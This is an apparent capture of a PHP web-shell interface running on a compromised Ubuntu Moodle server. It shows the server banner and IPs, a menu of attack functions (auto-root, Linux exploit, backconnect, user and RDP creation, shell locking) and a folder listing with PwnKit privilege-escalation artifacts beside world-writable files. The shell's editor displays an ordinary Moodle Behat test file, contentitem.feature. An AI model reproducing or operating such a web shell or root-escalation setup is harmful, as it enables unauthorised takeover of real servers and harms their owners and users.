Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
lti /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
addtool.feature
1.91
KB
-rwxrwxrwx
addtype.feature
2.78
KB
-rwxrwxrwx
backup_restore.feature
4.29
KB
-rwxrwxrwx
contentitem.feature
4.95
KB
-rwxrwxrwx
contentitemregistration.featur...
1.55
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renametool.feature
905
B
-rwxrwxrwx
toolconfigure.feature
1.25
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : contentitem.feature
@mod @mod_lti Feature: Content-Item support In order to easily add activities and content in a course from an external tool As a teacher I need to utilise a tool that supports the Content-Item Message type Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Terry1 | Teacher1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And I log in as "admin" And I navigate to "Plugins > Activity modules > External tool > Manage tools" in site administration # Create tool type that supports content-item. And I follow "configure a tool manually" And I set the field "Tool name" to "Teaching Tool 1" And I set the field "Tool URL" to local url "/mod/lti/tests/fixtures/tool_provider.php" And I set the field "Tool configuration usage" to "Show in activity chooser and as a preconfigured tool" And I expand all fieldsets And I set the field "Content-Item Message" to "1" And I press "Save changes" And I should see "Teaching Tool 1" And I log out @javascript Scenario: Tool that supports Content-Item Message type should be able to configure a tool via the Select content button When I log in as "teacher1" And I am on "Course 1" course homepage with editing mode on And I add a "Teaching Tool 1" to section "1" Then the "Select content" "button" should be enabled @javascript Scenario: Editing a tool's settings that was configured from a preconfigured tool that supports Content-Item. When I log in as "teacher1" And I am on "Course 1" course homepage with editing mode on And I add a "Teaching Tool 1" to section "1" And the "Select content" "button" should be enabled And I set the field "Activity name" to "Test tool activity 1" And I expand all fieldsets And I set the field "Launch container" to "Embed" And I press "Save and return to course" And I open "Test tool activity 1" actions menu And I choose "Edit settings" in the open action menu Then the field "Preconfigured tool" matches value "Teaching Tool 1" And the "Select content" "button" should be enabled @javascript Scenario: Changing preconfigured tool selection Given I log in as "admin" And I navigate to "Plugins > Activity modules > External tool > Manage tools" in site administration And I follow "configure a tool manually" And I set the field "Tool name" to "Teaching Tool 2" And I set the field "Tool URL" to local url "/mod/lti/tests/fixtures/tool_provider.php" And I set the field "Tool configuration usage" to "Show in activity chooser and as a preconfigured tool" And I expand all fieldsets And I press "Save changes" And I should see "Teaching Tool 2" And I log out When I log in as "teacher1" And I am on "Course 1" course homepage with editing mode on And I add a "External tool" to section "1" # On load with no preconfigured tool selected: Select content button - disabled, Tool URL - enabled. And the field "Preconfigured tool" matches value "Automatic, based on tool URL" And I set the field "Activity name" to "Test tool activity 1" And the "Select content" "button" should be disabled And the "Tool URL" "field" should be enabled # Selecting a tool that supports content-item: Select content button - enabled, Tool URL - enabled. And I set the field "Preconfigured tool" to "Teaching Tool 1" And I set the field "Activity name" to "Test tool activity 1" Then the "Select content" "button" should be enabled And the "Tool URL" "field" should be enabled # Selecting a tool that does not support content-item: Select content button - disabled, Tool URL - disabled. And I set the field "Preconfigured tool" to "Teaching Tool 2" And I set the field "Activity name" to "Test tool activity 1" And the "Select content" "button" should be disabled And the "Tool URL" "field" should be disabled # Not selecting any tool: Select content button - disabled, Tool URL - enabled. And I set the field "Preconfigured tool" to "Automatic, based on tool URL" And I set the field "Activity name" to "Test tool activity 1" And the "Select content" "button" should be disabled And the "Tool URL" "field" should be enabled @javascript Scenario: Editing a manually configured external tool Given the following "activities" exist: | activity | course | name | typeid | toolurl | | lti | C1 | Test tool | 0 | /mod/lti/tests/fixtures/tool_provider.php | And I am on the "Test tool" "lti activity editing" page logged in as teacher1 Then the field "Preconfigured tool" matches value "Automatic, based on tool URL" And the "Select content" "button" should be disabled
Close